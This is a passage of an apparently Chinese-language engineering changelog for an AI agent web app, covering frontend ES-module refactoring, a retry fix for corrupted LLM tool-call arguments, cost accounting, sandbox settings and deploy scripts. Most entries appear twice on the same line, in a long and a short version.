2 收官**:把 main.js 剩余主体按干净度逐个剥成独立 ES module——layout / auth / preview / files / media / newtask / embed / chat(对话视图,合一个 chat.js 而非强拆 tasks+stream,因二者共享 state.liveRuns + run 生命周期)。main.js 2719→75 行入口;靠 ES live binding 解 main↔模块循环依赖;新增 import/export 一致性 + 从 main BFS 可达性校验。逻辑零改动纯剪切+连线。
- **前端模块化 Step 2:抽出 `embed.js`(iframe 模式)**:父页面经 postMessage 推 token 进入应用 + 401 重签(原 main.js 11471209 + 顶层 `_embedInitialTaskHandled` 一次性标志)→ `embed.js`(75 行)。导出 `embedInit`(boot 调)+ `embedPostToParent`/`embedShowWaiting`(auth 的 logout 在 embed 下通知父页面/显示等待态)——后两个从 main 迁出后,`auth.js` 对它们的 import 从 `./main.js` 改指 `./embed.js`(auth 仍从 main import enterApp)。反向 import main glue `enterApp`/`loadTaskList`/`selectTask`。main↔embed、auth↔embed 均运行时调用环,安全。main.js 删至 **1154 行**(2719 行起,已搬出约 58%)。node 全检过、import/export 一致性过、静态测试 2 过。剩 main 内:`enterApp` glue + tasks(列表/选择/渲染消息)+ stream(发送/SSE)+ boot + Esc 关栈,待最后一并处理 tasks+stream。 - **修 deepseek-v4-flash 大参数工具调用 arguments 损坏 → loop 畸形重试**:大参数(7-10K)write/run_python 偶发把碎片错位粘进 `arguments` 致 json 解析失败;真正放大成灾的是 loop 把损坏消息入库 + 每轮重发的投毒级联。`_stream_llm` 改「校验 tool_call arguments 能否 json.loads,不能则丢弃整轮(不入库)重 roll,最多 3 次,最后降级非流式」+ executor 缺参早返友好提示替掉暴露签名的 TypeError。
- **前端模块化 Step 2:抽出 `newtask.js`(新建任务弹框)**:任务名 / 工作目录(新建 sentinel 或复用已有 + 二级 input 联动)/ 描述 / skill / 模型 select,提交 `POST /v1/tasks`(原 main.js 11461320)→ `newtask.js`(186 行)。顶层自绑 hd-new 打开 / nt-go 提交 / 各 input 联动;唯一对外导出 `loadFolderSuggestions`(供 main enterApp 初始化顶部 filter-wd、files 复制/移动后刷目录)——它从 main 迁来后,`files.js` 对它的 import 从 `./main.js` 改指 `./newtask.js`。反向 import main glue `loadModels`(加 `export`)/`loadTaskList`/`selectTask` + `logout`(auth)。main.js 删至 1220 行。node 全检过、import/export 一致性校验过、私有符号清零。
- **前端模块化 Step 2:抽出 `media.js`(工具活动标签 + artifact 抽取/渲染)+ 收敛 downloadFile 反向依赖**:对话内 `toolActivityLabel`(工具调用→中文活动名)、`extractArtifactRels`(从结果文本/working_dir 提产物路径)、`extractMediaBanner`(seedream/seedance 横幅)、`renderArtifactBarHtml`(产物 chip 条 + 图/视频内联占位)、`upgradeMediaArtifacts`(占位异步 fetch blob 填 `<img>`/`<video>` 带缓存)、`downloadFile`(blob 下载)→ `media.js`(237 行,原 main.js 11341359)。**收敛点**:downloadFile 移入 media 后,`preview.js`/`files.js` 对它的 import 从 `./main.js` 改指 `./media.js` —— 把这条反向依赖从 main 挪开。media 导入极少(`escapeHtml`/`_categorize`(preview)/`state`/`logout`),与 preview 成 media↔preview 环(均运行时调用,安全)。**两次险漏靠校验抓回**:① 共享 const `ARTIFACT_PRODUCING_TOOLS`(main renderMessages/SSE 用 4 处,`.has()` 访问非函数调用,"被调标识符"法漏掉)② 内部函数 `_flushMediaArtifactCache`(selectTask 切任务清缓存用)—— 残留符号检查发现后补 export。新增**全模块 import/export 一致性校验脚本**(每个 `import{X}` 必在目标 `export`),11 模块全过。main.js 删至 1393 行。`node --check` 11 模块全过、静态测试 2 过。
- **前端模块化 Step 2:抽出 `files.js`(文件面板 + 选入 + 拖拽上传)**:右栏文件列表浏览/导航/删除/重命名 + 刷新 + "选入"弹框(跨目录勾选复制/移动)+ 拖拽 overlay + 上传(XHR 带进度)+ 上传状态条。代码原分散在 main.js **两段非连续区**(11331459 文件列表/选入/拖拽 + 16971786 上传 helper,中间夹着 media 段)→ 合并进 `files.js`(433 行)。导出 `loadFiles`/`scheduleFilesRefresh`(SSE 文件事件刷新)/`closeSrcPicker`(main Esc 关栈)/`uploadFiles`(聊天区粘贴/拖拽复用);其余入口模块顶层自绑。反向 import `openFilePreview`(preview)、`logout`(auth)、main glue `downloadFile`/`selectTask`/`loadTaskList`/`loadFolderSuggestions`(后三个加 `export`,后续随 tasks/newtask 模块化再迁)。依赖分析用"段内被调标识符 段内定义 叶子/全局"全量提取,补回固定清单漏掉的 `loadFolderSuggestions`/`loadTaskList`。main.js 删至 1619 行。`node --check` 双过、main 残留 files 私有符号清零、files 无未导入 glue、静态测试 2 过。
- **前端模块化 Step 2:抽出 `preview.js`(文件预览 + mini 预览)**:文件预览主弹框(图/视频/PDF/文本/markdown/docx/xlsx,大文件降级下载,docx/xlsx 走 `loadScript` 懒加载 vendor)+ 同时再开的小窗预览(原 main.js 16872048)→ `preview.js`(379 行)。导出 `openFilePreview`/`openPasteFilePreview`/`closeFilePreview`/`closeMiniPreview`/`_categorize`(媒体段判图/视频用)。反向 import `downloadFile`(main 媒体段,加 `export`)、`logout`(auth)。**Esc 关弹窗栈处理器留 main**(跨模块协调 chpw/选入/文件预览/小预览,加了节注释)。**一处去耦**:`deletePastedFile`(留 main)原直接读 preview 私有 `_fpCurrentRel`/`_mpCurrentRel` 判断要不要关预览 → 改为 preview 导出封装 `closePreviewIfShowing(rel)`,行为不变但不泄漏内部 current-rel 状态(模块边界更干净;唯一非纯剪切的微调)。main.js 删至 2034 行。`node --check` 双过、preview 私有符号在 main 清零、无未导入 glue 引用、静态测试 2 过。
- **前端模块化 Step 2:抽出 `auth.js`(首个 main↔模块 ES 环)**:登录(邮箱密码 / UUID+PLATFORM_KEY 两 tab)+ 管理员加用户 + 改密码三节(原 main.js 21227)→ `auth.js`(218 行)。各入口在模块顶层自绑 onclick,只导出 `logout`(供全局 20 处 401 处理)/`closeChpwModal`(供 main 的 Esc 统一关弹窗栈)。反向 import main 的 glue `enterApp`/`embedPostToParent`/`embedShowWaiting`(main 给这三个加 `export`)——**首次引入 main↔auth 循环依赖**:三者皆 hoisted 函数声明、模块实例化即就绪,且只在运行时(点击/401)调用,绝不在顶层求值时触发 → ES live binding 下安全;这是增量拆单体的标准形态,后续 features↔glue 环同理。main.js 删至 2397 行。`node --check` 双过、auth 私有符号在 main 清零、静态测试仍 2 过。**逻辑零改动**。
- **前端模块化 Step 2(起):从 main.js 抽出 `layout.js`**:三栏布局(pane 折叠 rail + 拖拽 splitter + 手机单列视图)是 main.js 里唯一对其他功能节零出边的干净段,用它打样增量剥离。`layout.js`(121 行):import `$` + 4 个 `LS_*_COLLAPSED/WIDTH`,只导出 `mqPhone`/`setMobileView`(后者供 selectTask 在手机宽下选中任务自动切对话面板,是唯一跨模块调用);折叠/splitter/mobile-tab 的顶层事件绑定原样保留(ES module 默认 defer,import 时 DOM 已就绪)。main.js 删 114 行 → 2606 行,加 layout import 并清掉随之不再用的 4 个 `LS_*` import。**逻辑零改动,纯剪切+连线**;`node --check` 过、main 残留 layout 私有符号清零。**顺手修 Step 1 遗留测试失败**:`test_static_vendor` 第二用例原只 grep `dev.html``formatContextStats`/`context_original_chars`/`cache_hit_tokens`,模块化后这些搬进 `js/*.js` → 改为扫 `dev.html + js/*.js` 合并源,2 测试全过。后续按干净度继续剥(下一个 auth = login+加用户+改密码,会引入 main↔auth 的 ES 环,靠 live binding 解)。
- **修 deepseek-v4-flash 大参数工具调用 arguments 损坏 → loop 畸形重试 + 非流式兜底**:用户报"测试docx"任务里 zcbot 回 `[Error] bad arguments to write: WriteTool.execute() missing 2 required positional arguments`。实证定位(dump 失败 task 全量 messages):**大参数(≈710K 字符)的 write/run_python 偶发把别处内容碎片错位粘进 `arguments` 开头**(如 `].cells[1].merge(...{"path":...}`),`json.loads` 直接失败;有时退化成空 `{}` → execute 缺参报 TypeError。**根因双层**:① 上游 deepseek-v4-flash 流式 delta 偶发错位(隔离复现 16/16 全干净,说明概率低);② 真正放大成灾的是 **loop 把损坏的 assistant 消息原样入库 + 每轮重发 → 模型学坏的投毒级联**(失败 task 里大半 write 连锁失败)。读 litellm `stream_chunk_builder` 源码排除"content 混进 args"(content 与 tool_args 两趟独立合并);批量验证非流式 8/8、流式 8/8 在干净上下文均不复现 → 确认是间歇上游抖动 + loop 零容错。**修法**(`core/loop.py`):`_stream_llm` 重构成「拉一轮 → `_malformed_tool_calls` 校验 tool_call arguments 能否 `json.loads` → 不能则**丢弃整轮(不 append/不记账)重 roll**」,最多 3 次;最后一次降级 `_nonstream_once`(provider 服务端拼 tool_calls,绕开流式错位,content 整段补 emit)。断投毒环 + 不依赖猜准上游成因 + 不动正常路径。**backstop**:`executor_host.py` / `sandbox/tool_runner.py` 缺必填参数(空 `{}`)早返 `缺少必填参数 [...];请带齐 [...] 重新调用`,替掉暴露内部签名的 `missing N required positional arguments`。重试消耗 token 不单独记账(罕见路径)。tests 全过(唯一失败 `test_static_vendor::formatContextStats` 是前端 ES module 化遗留,与本改无关)。
### 2026-06-05 ### 2026-06-05
- **前端模块化 Step 1:`dev.html` 单文件拆零构建 ES module(叶子优先)**:`web/static/dev.html` 原 4087 行(纯原生 JS、手写 `state` + 手动 DOM、零内联 `onclick``addEventListener`、唯一 `window.*` 是比较非赋值)。定方案「1 拆文件 → 2 后续引 Alpine/petite-vue 局部响应式 → 3 永不上 Vue+构建链」,本步只做 1。抽出 4 个无依赖叶子模块到 `web/static/js/`:`state.js`(`state` 单例 + `LS_*` + `EMBED*`)、`format.js`(escapeHtml/humanSize/fmtTokens/fmtCost/usage 系列等纯格式化)、`dom.js`(`$` + 浮层菜单 showMenu/hideMenu,import escapeHtml)、`api.js`(`api()` Bearer 封装,import state)、`markdown.js`(renderMd/highlightIn,依赖 vendor 全局)。剩余主体(login→boot,原 13874084)整体落 `main.js` 并 import 上述叶子;`dev.html` 内联大 `<script>` 换成一行 `<script type="module" src="js/main.js">`,降到 1121 行。**逻辑零改动,纯剪切+连线**。`app.py` 加 `mimetypes.add_type("text/javascript", ".js")` 兜底(防 Windows 把 `.js` 判 text/plain 致 module 拒执行;本机实测 `.js`→application/javascript 本就 OK,纯防御)。校验:6 模块 `node --check` 全过 + 无私有符号(`_menuItems`/`_embedQS`)泄漏到 main。后续步骤将从 main.js 把 login/tasks/stream/files/preview 等逐个剥成独立模块(tasks↔stream 循环依赖靠 ES live binding 解)。 - **前端模块化 Step 1**:`web/static/dev.html` 4087 行单文件起步拆零构建 ES module(定方案「1 拆文件 → 2 局部引 petite-vue → 3 永不上 Vue+构建链」)。本步抽 5 个无依赖叶子(state/format/dom/api/markdown),主体落 main.js,`app.py` 加 `mimetypes.add_type` 兜底。逻辑零改动。
- **改密码弹框样式修复**:`#chpw-modal` 原先没专属 CSS,`.card` 只继承公共骨架(背景+圆角+阴影),缺 padding/width/表单整形 → 卡片被撑到近全宽、无内边距很素。改为复用「选入文件」弹框(`#src-picker-modal`)的头/体/脚分隔布局:标题区底部分隔线、表单内容包进 `.body`(内边距 16/18)、按钮区顶部分隔线右对齐,`.card` 收到 400px + flex column,input focus 红框高亮。纯 CSS/HTML 结构调整,无对外行为变化(不动 DESIGN/RUN)。 - **改密码弹框样式修复**:`#chpw-modal` 复用「选入文件」弹框头/体/脚布局,纯 CSS。
- **run_python 过程脚本约定 `<task_dir>/scripts/`**:确认现状是模型生成的 `.py` 直接落 task_dir 根(系统提示只说"只写到 task_dir",无 scripts/ 分层),过程脚本和交付产物(.docx/.pptx/spec)混在一起。定调:**模型显式写文件再 `script_path` 跑的过程脚本** → `<task_dir>/scripts/`(可见/持久/可重跑,`WriteTool` 自动建父目录);**inline `code` 匿名片段** → 维持临时用后即焚(host 走系统 temp、docker 走 `.zcbot_tmp/<task_id>/` dotfile 隐藏+删,均不动)——不持久化到 scripts/,免把目录污染成匿名垃圾堆。改 `core/agent_builder.py` 系统提示工作目录段加一条 scripts/ 引导(>~15 行/要迭代/出产物用文件,短抛弃代码才内联)+ `tools/run_python.py` 的 tool description / `script_path` 参数说明同步。inline 执行逻辑两后端均未改。tests `test_run_python_script_path` / `test_executor_docker` 全过(2 skip 为 Linux-only)。 - **run_python 过程脚本约定 `<task_dir>/scripts/`**:显式写文件再 `script_path` 跑的过程脚本落 `scripts/`(可见/可重跑),inline `code` 匿名片段维持临时用后即焚。改系统提示 + tool 描述。
- **新增 `standard` skill(国标/行标/团标起草)**:联网核实市面无可直接复用的"写标准文件本身"的 skill(搜到的 technical-proposal GB/T 8567、official-document GB/T 9704 都是相邻品类——投标书/公文,非标准),据 GB/T 1.1—2020 自建。覆盖三层级(国标 GB·T / 行标 JC·T / 团标 T/,重点对接 **CSTM → T/CSTM**,材料试验团标对口建材院检测方向)× 两体裁骨架(试验方法 GB/T 20001.4 + 产品标准)。文件:`SKILL.md`(阶段化:定层级体裁→八条 spec→逐章段段卡→自检渲染)+ 3 references(`gbt_1_1_structure` 要素骨架/必备可选/规范性资料性/封面前言套话、`standard_levels` 选型+CSTM 体系立项、`drafting_rules` 能愿动词应宜可能/不可考核词过滤/指标量化闭环/术语规则/引用真实性+§8 自检清单)+ 4 templates(spec/test_method/product_standard/编制说明)。**渲染复用 proposal `render_docx.py`+`render_diagrams.py`**(兄弟 skill `../proposal/scripts/`,同 patent 范式);冒烟测过表格/中文渲染正常。**坑**:proposal `quality_check.py` 按申报书固定章节名查"缺章节",对标准全是误报且无跳过开关→阶段三不用机检,改 drafting_rules §8 人工 12 条清单(与 patent self_check 同思路)。产出是结构合规草稿 docx,正式报批再灌官方 TCS/CSTM 模板做版式精修。 - **新增 `standard` skill(国标/行标/团标起草)**:核实市面无可复用 skill,据 GB/T 1.1—2020 自建。覆盖三层级(重点对接 CSTM 团标)× 两体裁;渲染复用 proposal `render_docx`/`render_diagrams`;quality_check 对标准误报无跳过开关 → 改 drafting_rules §8 人工 12 条清单。
- **dev 页加"改密码"功能 + 文件面板"选入"按钮文字改图标(防换行)**:① 自助改密码——`web/auth.py::change_password(user_id, old, new)`(验旧密码 → 新密码 ≥6 → bcrypt 重哈希写回,错误归一到现成 `UserCreateError` code 体系 `wrong_password/no_password/weak_password/user_not_found`,不为此新开异常类),`POST /v1/auth/change_password` 挂 `Depends(require_user)`(user_id 取自 JWT 不信前端,旧密码错/无密码→403、弱→400、行没了→401)。前端顶栏「退出登录」左侧加「改密码」按钮(`#hd-chpw`,并入 embed 隐藏规则——embed 模式不显示)+ 一个复用 `.modal` 骨架的弹框(旧/新/确认三项,前端先验长度+两次一致再提交,成功 `alert` 提示不登出,401 走 `logout()`)。否决"点用户名展开菜单"(多写菜单逻辑不划算)。② `#btn-src-pick` 的文字 `选入…` 改单字符图标 `⊕`(和旁边 `⬆ ↻ ` 同款单色字形,`title` 保留"选入"语义)——原中文文字在窄面板偶发换行。
- **记账给 DeepSeek 前缀缓存命中折价(修虚高 ~2-3x)+ 前端体现缓存命中/真实成本**:排查"rust 优势→PPT"那 task(flash,34 轮)发现 `tokens_in` 累计 69.9 万里 **88.6% 是缓存命中**,但 `usage.py::_fallback_chat_cost_cny` 把命中段也按 `input` 全价(1.0)算 → 记 ¥0.84,真实(命中按 0.1x)只 ~¥0.28,**越大的 task 虚高越多**(文献采集 53% 命中:¥33→~¥16)。修:① `ModelCapabilities``cache_hit_cny_per_mtoken`(deepseek flash 0.1 / pro 0.2;0=不区分按全价兜底,绝不少记);② 成本公式拆三段「命中×缓存价 + (input命中)×input价 + output×output价」,`loop.py` 把 `cache_hit_tokens` + 缓存单价透传进 `record_chat_usage`;③ 前端不加 DB 列——`web/app.py` 加 `_usage_aggregates`(单查询 GROUP BY `usage_events`,复用列表 `msg_counts` 同款批量范式,无 N+1)on-the-fly 算每 task 真实成本 + chat token + 缓存命中,`_task_dict` 带出;列表行**不内联花费**、只显 tok 数,花费/缓存命中率藏 hover tooltip(`taskUsageTooltip`,多行:输入/输出拆分 · 命中 + 命中率 · ¥真实花费),顶栏额外内联简版。**折价只对新 chat 事件生效**,历史走 backfill 脚本(`scripts/backfill_chat_cost_cache_discount.py`,默认 dry-run,`--apply` 落库;`--assume-cache-hit-rate RATE` 给无 `cache_hit_tokens` 字段的老事件按估算命中率折价——DeepSeek 当时缓存了只是没记,全价偏高;实测过的事件用真实值不受影响)。**坑修**:命中率分母原误用 `tasks.tokens_prompt`,但该列会被「清空对话」重置而 `usage_events` 不重置 → 跨源相除算出 822% 怪值;改为 `_task_dict` 的 token 总量也优先取 usage_events 聚合(与 cache_hit 同源,命中率恒 ≤100%)。**注**:真正压低 token 体量的杠杆是减少轮数(高成本 task 全是 100+ 轮的逐步 write/run_python 循环),非本次范围。
### 2026-06-04 ### 2026-06-04
- **ppt skill 版式 helper 收进可 import 的模块 + 修中文字体没真生效**:逐页生成是「每页一个 run_python」,以前 ~150 行 helper(配色常量/`add_textbox`/`apply_brand` 等)要在每页里默写一遍 —— 烧 token 且长 deck 里坐标会漂(第 7 页 `apply_brand` 跟第 2 页对不上)。抽出 `skills/ppt/scripts/pptx_helpers.py`,每页 `import pptx_helpers as P` 调用;新增 `new_presentation`/`load`(按文件实际尺寸回填画布常量,逐页进程间同步)/`add_slide`/`set_palette`(默认商务红,`spec_path=` 自动取 spec 前 3 个 hex 作主/辅/强调)入口。**字体修复**:python-pptx `font.name` 只写 `<a:latin>`,中文字形走 `<a:ea>` 槽位没设 → 「指定微软雅黑却没真生效」的根因;`set_text` 改为同时写 latin=Arial + ea/cs=微软雅黑,中英混排各命中正确字体。改 `layouts.md`(helper 块换成 import 起手 + API 速查,9 个示例全改 `P.` 调用)、`icons.md` A5 示例、`SKILL.md` 资源/阶段二。冒烟测试过:`ea` 确写入、`set_palette` 覆盖生效、quality_check 正常解析 - **ppt 版式 helper 收进可 import 模块 + 修中文字体没真生效**:抽出 `pptx_helpers.py`(每页 `import P` 免默写 150 行 + 治长 deck 坐标漂移);字体修复=`set_text` 同时写 latin=Arial + ea/cs=微软雅黑(python-pptx `font.name` 只写 latin 是中文不生效根因)
- **ppt `quality_check.py` 加内容形状重叠检测**:原有数值检查只覆盖越界 + 按字数估算的文本溢出,盲区是"两个都在画布内的形状互相重叠"(文本框压图标/压另一文本框)。加纯数值两两包围盒重叠检测——**只检"内容形状"**(有非空文字 / 是图片),装饰元素(无文字纯色填充:品牌条/分隔线/圆点/色块标签/装饰星箭头)天然排除,"文字叠在色块上"也不误报(色块无文字)。交叠宽高均 >0.08in 且 交叠面积/较小形状面积 ≥25% 才报,滤掉边缘贴合。测试过:合规 deck(L2 徽章+字 / L5 标签叠 chip / L4 圆点+bullet)零告警、两文本框故意叠触发并报百分比+形状名。零依赖、确定性、host+docker 都跑 - **ppt `quality_check.py` 加内容形状重叠检测**:纯数值两两包围盒,只检有文字/图片的内容形状(装饰元素天然排除),交叠 ≥25% 才报
- **ppt `quality_check.py` 配色检查纳入形状填充色 + 改按三色制判定**:原来只数 `run.font.color`(文字色),品牌条/徽章/圆点/标签/底块的**填充色全漏**——而这些恰是最易跑偏处。加 `_shape_fill_hex`(取纯色实心填充,主题色/非实心挡掉)并入 `seen_colors`。同时把粗阈值「≤5 色」改成贴合三色制的「非灰阶色 ≤3」:`_is_neutral`(R/G/B 极差 ≤12 视为灰/黑/白)把中性色排除——否则一旦计入填充,合规商务红 deck(INK/GREY/HAIRLINE/BG/WHITE+3 红)轻松超 6 狂报假阳;spec 比对也只比非灰阶色。测试过:合规红 deck 无配色 warning、塞 4+ 彩色触发、ACCENT 强调线填充被正确捕获 - **ppt `quality_check.py` 配色纳入形状填充色 + 改三色制判定**:加 `_shape_fill_hex`,粗阈值「≤5 色」改「非灰阶色 ≤3」(`_is_neutral` 排中性色),否则合规红 deck 狂报假阳
- **前端顶栏展示用户已用存储**:后端已有 `user_disk_usage` 表(后台 15min 扫描落库),但无对外查询口。加 `GET /v1/user/storage`(`Depends(require_user)`),返 `{bytes_used, file_count, limit_bytes, scanned_at}`,`limit_bytes` 由 `parse_bytes(quotas.disk_bytes_per_user)` 得(≤0/None=不限)。`disk_quota.get_user_usage` 扩为返 `(bytes,count,scanned_at)` 三元组(复用而非新开函数,顺手改唯一调用方 `check_disk_quota` 解包)。前端 `dev.html` 右侧「文件」面板底部钉一条进度条+文字指示器(`#pane-right` 改 flex 列让 `#file-list` 独占滚动、存储条钉底;`loadStorage()` 在 `enterApp` 拉一次不限额时只显已用、隐进度条超额变红hover 显文件数+统计时间) - **前端顶栏展示用户已用存储**:`GET /v1/user/storage`(复用 `user_disk_usage` 表),右侧文件面板底部钉进度条;不限额只显已用
- **sandbox 容器 env 收编到一处 + shell 也注入(修两个只读 rootfs 副作用)**:`PYTHONPATH=/sandbox:/workspace` 原先只 `run_python` 注入,shell 里 `python -c "from skills..."` 撞 ModuleNotFoundError;② `--read-only` rootfs 下 `/home/zcbot` 不可写,matplotlib/fontconfig 往 `~/.config`/`~/.cache` 写缓存刷 "Read-only file system" / "No writable cache" 噪音。改:`executor_docker.py` 抽 `_CONTAINER_ENV = {PYTHONPATH, HOME=/tmp}`,shell/run_python/fs 三路共用(`-e` 确定性覆盖)—— `HOME=/tmp` 一刀让缓存落 tmpfs(matplotlib→/tmp/.config、fontconfig→/tmp/.cache),不用逐个 MPLCONFIGDIR/XDG_CACHE_HOME。纯代码改,重启 web 生效,免重建镜像 - **sandbox 容器 env 收编到一处 + shell 也注入**:`executor_docker` 抽 `_CONTAINER_ENV={PYTHONPATH=/sandbox:/workspace, HOME=/tmp}`,shell/run_python/fs 三路共用(修 shell 里 import skills 报错 + 只读 rootfs 下缓存写不进的噪音)。纯代码改重启生效
### 2026-06-03 ### 2026-06-03
- **修 docker sandbox 下 system prompt 焊死宿主路径(agent 找不到自己的文件)**:`ZCBOT_SANDBOX_BACKEND=docker` 时 shell/run_python/fs 工具全在容器里跑(`<workspace>/users/<uid>` bind 到 `/workspace`),但 `_build_system_prompt` 注入的 `task_dir` / cwd 是宿主绝对路径(容器内不存在),LLM 据此 `find /home/ubuntu/zcbot ...` 全空、瞎转到 `pwd` 才发现真身在 `/workspace/<wd>`。修法同 `LoadSkillTool``container_skills_dir` 改写:docker 下 `task_dir` + 「宪法」glob 范例换成容器路径 `/workspace/<wd_rel>`,并去掉 docker 下无意义的 cwd 行(容器 cwd 恒等 task_dir);host 不变。 - **修 docker sandbox 下 system prompt 焊死宿主路径**:docker backend 时工具在容器跑但 `_build_system_prompt` 注入的是宿主绝对路径(容器内不存在),LLM 据此 find 全空。docker 下 `task_dir` + 宪法 glob 范例换容器路径 `/workspace/<wd_rel>` + 去掉无意义 cwd 行;host 不变。
- **顺扫清掉 SKILL.md 里残留的宿主路径假设(同 docker 隐患)**:`patent` 跨 skill 调 proposal 脚本原用 `<repo_root>/skills/proposal/...`(还举例硬编码 `D:/projects/zcbot`)→ 改兄弟 skill 相对 `<skill_dir>/../proposal/scripts/...`(两后端都对);`research` 的 `fetch_pdf` 范例硬编码 `working_dir=r"D:/..."` → 改 `<task_dir>` 占位;`patent`/`proposal`/`ppt` 的 `<task_dir>` 举例用废弃旧布局 `…/workspace/tasks/<task_id>/` → 改 host/docker 双形态说明。 - **顺扫清掉 SKILL.md 里残留的宿主路径假设**:patent 跨 skill 调 proposal 脚本改兄弟相对路径;research/patent/proposal/ppt 的硬编码 `D:/projects/zcbot` 与废弃旧布局举例改双形态说明。
- **修 ppt 图标缓存写进只读挂载(docker 拉新图标失败)**:`fetch_icon.py -o <skill_dir>/assets/icons/` 在 docker 下 skills 是 `:ro` bind,写回必败;host 下还顺带污染仓库工作树。改为(方案 A,与"产物只写 task_dir"的全局规矩一致):种子图标库 `<skill_dir>/assets/icons/` 降为**只读**(glob 读),`fetch_icon.py` 新拉图标一律 `-o <task_dir>/assets/icons/`;读路径改两处都 glob(种子库 + 本 task)。涉 `ppt/SKILL.md`、`references/icons.md`、`assets/icons/INDEX.md`;脚本本身已 `out.parent.mkdir`,无需改 - **修 ppt 图标缓存写进只读挂载**:种子图标库降为只读(glob 读),`fetch_icon.py` 新拉图标一律 `-o <task_dir>/assets/icons/`(与「产物只写 task_dir」一致)
- **默认镜像源改清华(pip+apt)/ 腾讯(npm)**:腾讯 PyPI 吐损坏 litellm wheel(index 声明 sha256 与文件实际字节不符,非篡改 = 镜像端文件损坏)。`deploy/update.sh` 三默认值改清华(境内稳 + 同步及时;npm 无清华源走腾讯);换默认让下次 build pip 层全量重跑一次。 - **默认镜像源改清华(pip+apt)/ 腾讯(npm)**:腾讯 PyPI 吐损坏 litellm wheel(镜像端文件损坏)。
- **回退 `ZCBOT_WORKSPACE_DIR` env 覆盖,workspace 落数据盘改用 bind mount**:env 覆盖与 `core/paths.py` 锚 ROOT 的相对存储冲突 —— env 指向 ROOT 外文件面板 / agent resume / 新建 task 三家分叉。`resolve_workspace` 回退成 `arg > cfg > 默`(均 ROOT 内),数据盘 bind mount(`/data/zcbot/workspace` `ROOT/workspace`,DB 不改、dev 不受影响)。 - **回退 `ZCBOT_WORKSPACE_DIR` env 覆盖,workspace 落数据盘改用 bind mount**:env 覆盖与 `paths.py` 锚 ROOT 的相对存储冲突致三家分叉,改 bind mount(`/data/zcbot/workspace`→`ROOT/workspace`)。
### 2026-06-02 ### 2026-06-02
- **【已于 06-03 回退,见上】`resolve_workspace` 加 env 覆盖 `ZCBOT_WORKSPACE_DIR`**:prod 想 workspace 落独立数据盘且不碰共用 yaml,改优先级 `arg > env > cfg > 默`回退因与相对存储锚点冲突(见上) - **【已于 06-03 回退】`resolve_workspace` 加 env 覆盖 `ZCBOT_WORKSPACE_DIR`**:prod 想 workspace 落独立数据盘,回退因与相对存储锚点冲突。
- **修 embed 模式"登录页一闪而过"(绘制时机,非鉴权)**:`#login` 在 `embedInit` 标记 `embed-mode` 前已被绘制;在 `<body>` 首行加同步内联脚本,`?embed=1` 时立即加 `embed-mode` class,赶在 `#login` 绘制前隐藏。只挪绘制闸门,底部握手逻辑不动 - **修 embed 模式「登录页一闪而过」**:`<body>` 首行加同步内联脚本,`?embed=1` 立即加 `embed-mode` class 赶在 `#login` 绘制前隐藏。绘制时机问题非鉴权
### 2026-06-01 ### 2026-06-01
- **`deploy/update.sh` 加自更新重跑守卫**:`git pull` 会改脚本自身,首次拉到"改 update.sh"那轮跑的还是旧脚本行为。pull 后 diff 检出本脚本变更则 `exec` 用新版本从头重跑(标记防死循环),修"改了源仍报旧错"根因 - **`deploy/update.sh` 加自更新重跑守卫**:`git pull` 改脚本自身时 `exec` 用新版本从头重跑(标记防死循环)。
- **`deploy/update.sh` 默认源改腾讯 + build 跳过改 `--skip-build` + 进度可见**:根因 = 阿里 PyPI 同步滞后缺 `litellm>=1.83`默认镜像源改腾讯(host venv pip 显式拼 `--index-url`)、跳过 sandbox build 由 env 改 CLI flag、pip 去 `-q` 让进度可见。 - **`deploy/update.sh` 默认源改腾讯 + build 跳过改 `--skip-build` + 进度可见**:根因=阿里 PyPI 同步滞后缺 `litellm>=1.83`
- **修 MP host 工具的全量下载(IP 被封根因)**:`mp_search_summary` 没传分页 → mp-api 默认翻完所有页 = 每搜一次整库级下载,MP 判 abusive 封 host IP。改 `num_chunks=1, chunk_size=limit` 服务端限量;`mp_get_entries` 天然全量(相图用途)只在 description 警示。**注:宿主 IP 仍被 MP 临时封,需邮件 support 人工解封后才能联网复测。** - **修 MP host 工具的全量下载(IP 被封根因)**:`mp_search_summary` 没传分页致每搜一次整库级下载被 MP 判 abusive 封 IP;改 `num_chunks=1` 服务端限量。(宿主 IP 仍需邮件 support 解封。)
- **加一键部署脚本 `deploy/update.sh`(Ubuntu / systemd)**:`git pull → pip install → db upgrade → docker build sandbox → restart → curl /healthz`。两处钉死:migration 从 .env 抠 `ZCBOT_DB_URL` 喂 alembic;**build 必须在 restart 之前**(容器复用,restart 才换新镜像)。前置守卫:非 root / 非 git / 工作区脏 / 缺 .env 中止 - **加一键部署脚本 `deploy/update.sh`(Ubuntu/systemd)**:`git pull → pip → db upgrade → docker build → restart → curl /healthz`;钉死两点:migration 从 .env 抠 `ZCBOT_DB_URL`、build 必须在 restart 之前
- **sandbox 镜像加中文字体,修 matplotlib / mermaid 出图中文方块**:根因 = `deploy/sandbox/Dockerfile` 从 slim 起一个 CJK 字体都没装。加 `fonts-noto-cjk fonts-wqy-microhei` + `style.py` 候选首位加 Noto。改 Dockerfile 须重 build + 清旧容器才生效 - **sandbox 镜像加中文字体**:Dockerfile slim 起一个 CJK 字体没装致 matplotlib/mermaid 出中文方块,加 `fonts-noto-cjk fonts-wqy-microhei`
- **documents / Materials Project 带 key 能力改 host-side tools,key 不进 sandbox**:新增 `tools/documents.py` + `tools/materials_project.py` 各三工具,仅宿主 env 有 key 时注册;写文件绑定 task_dir,模型不能传 working_dir。 - **documents / Materials Project 带 key 能力改 host-side tools,key 不进 sandbox**:新增 `tools/documents.py` + `tools/materials_project.py`,仅宿主 env 有 key 时注册,写文件绑 task_dir。
- **删 `skills/pymatgen/materials.py::mp_rester()`**:sandbox 内读 key 的旧入口,host tool 化后多余且违背"key 不进 sandbox",直接删;smoke 改走 host tool。换 next-gen MP key 后端到端复测通过 - **删 `skills/pymatgen/materials.py::mp_rester()`**:sandbox 内读 key 的旧入口,host tool 化后多余且违背「key 不进 sandbox」
### 2026-05-29 ### 2026-05-29
- **Seedream 5.0 i2i base64 通路 probe + DESIGN §8.1 落册**:实测豆包 Seedream 5.0 `/images/generations` 接受 `image_urls` base64 data URL → 内网部署无需对象存储中介。选 E+C 组合(`seedream` 加 `reference_images` + 新增 `look_at_image` 豆包 vision tool),本版仅 probe + design,tool 改造未启动。 - **Seedream 5.0 i2i base64 通路 probe + DESIGN §8.1 落册**:实测 `/images/generations` 接受 base64 data URL → 内网部署无需对象存储中介。选 E+C 组合,本版仅 probe + design,tool 改造未启动。
